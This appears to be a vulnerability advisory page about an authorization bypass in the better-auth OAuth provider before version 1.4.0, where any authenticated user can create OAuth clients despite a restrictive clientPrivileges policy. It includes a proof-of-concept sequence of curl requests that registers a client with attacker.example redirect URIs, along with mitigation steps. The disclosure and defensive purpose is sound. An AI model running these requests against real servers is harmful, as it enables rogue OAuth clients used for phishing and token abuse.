Listen to this Post
How the CVE Works
The OAuth provider exposes a `clientPrivileges` authorization hook whose documented action set includes create, as shown in the type definitions (lines 209-214). However, the two client‑creation entry points – `adminCreateOAuthClient` and `createOAuthClient` – both delegate directly to `createOAuthClientEndpoint` without performing a `clientPrivileges` check.
In contrast, the non‑create operations (getClientEndpoint, getClientsEndpoint, deleteClientEndpoint, updateClientEndpoint, rotateClientSecretEndpoint) do enforce `clientPrivileges` with actions read, list, delete, update, and rotate. There is no corresponding `create` authorization check before persisting a new `oauthClient` record.
As a result, an application may reasonably configure `clientPrivileges` to allow only certain users or roles to manage OAuth clients, but any ordinary authenticated user can still call the create‑client route successfully. This breaks the documented security boundary and enables unauthorized creation of OAuth clients with attacker‑controlled redirect URIs and metadata.
If the server‑only `adminCreateOAuthClient` endpoint is accidentally exposed to low‑privilege authenticated users, an attacker can create OAuth clients with `skip_consent` enabled, which may allow silent consent bypass for that client and increases phishing and token‑abuse risk.
PoC steps (using the server configuration from the ):
1. Start a Better Auth server with `oauthProvider` and a restrictive `clientPrivileges` policy.
2. Create two users: `[email protected]` and `[email protected]`.
- Sign in as the forbidden user and call the authenticated OAuth client creation endpoint.
- Observe that client creation succeeds even though the policy should deny it.
DailyCVE Form
Platform: better-auth
Version: Prior to 1.4.0
Vulnerability: Authorization Bypass
Severity: Medium
date: 2025-11-13
Prediction: 2025-12-01
What Undercode Say
Analytics
Bash commands and codes related to the vulnerability:
Sign up a forbidden user
curl -i -X POST http://localhost:3000/api/auth/sign-up/email \
-H "content-type: application/json" \
-d '{"email":"[email protected]","password":"test123456","name":"forbidden user"}'
Sign in as the forbidden user and save the session cookie
curl -i -X POST http://localhost:3000/api/auth/sign-in/email \
-H "content-type: application/json" \
-H "origin: http://localhost:3000" \
-c cookies.txt \
-d '{"email":"[email protected]","password":"test123456"}'
Attempt to create a new OAuth client (should be blocked but succeeds)
curl -i -X POST http://localhost:3000/api/auth/oauth2/create-client \
-H "content-type: application/json" \
-H "origin: http://localhost:3000" \
-b cookies.txt \
-d '{
"client_name":"attacker-client",
"client_uri":"https://attacker.example/app",
"logo_uri":"https://attacker.example/logo.png",
"contacts":["[email protected]"],
"tos_uri":"https://attacker.example/terms",
"policy_uri":"https://attacker.example/policy",
"redirect_uris":["https://attacker.example/callback"],
"grant_types":["authorization_code"],
"response_types":["code"],
"token_endpoint_auth_method":"client_secret_basic",
"type":"web"
}'
Exploit
Any authenticated user, regardless of the `clientPrivileges` configuration, can create a new OAuth client by sending a POST request to `/api/auth/oauth2/create-client` with a valid session cookie. The server does not check the `create` action against the `clientPrivileges` hook, so the request always succeeds. If the server‑only `adminCreateOAuthClient` endpoint is exposed, an attacker can also create clients with `skip_consent` enabled, allowing silent consent bypass.
Protection from this CVE
- Upgrade the `better-auth` library to version 1.4.0 or later, where the `create` action is properly enforced.
- If upgrading is not immediately possible, implement a manual authorization check before the client creation endpoint in your application code.
- Ensure that the server‑only `adminCreateOAuthClient` endpoint is not inadvertently exposed to low‑privilege users.
- Review your OAuth client registry for any unauthorized clients that may have been created while the vulnerability existed.
Impact
- Unauthorized registration of attacker‑controlled OAuth clients.
- Creation of clients with attacker‑chosen redirect URIs and metadata.
- Increased risk of phishing and social engineering attacks through rogue first‑party‑looking clients.
- Potential abuse of trust assumptions in downstream OAuth/OIDC flows that treat registered clients as vetted.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
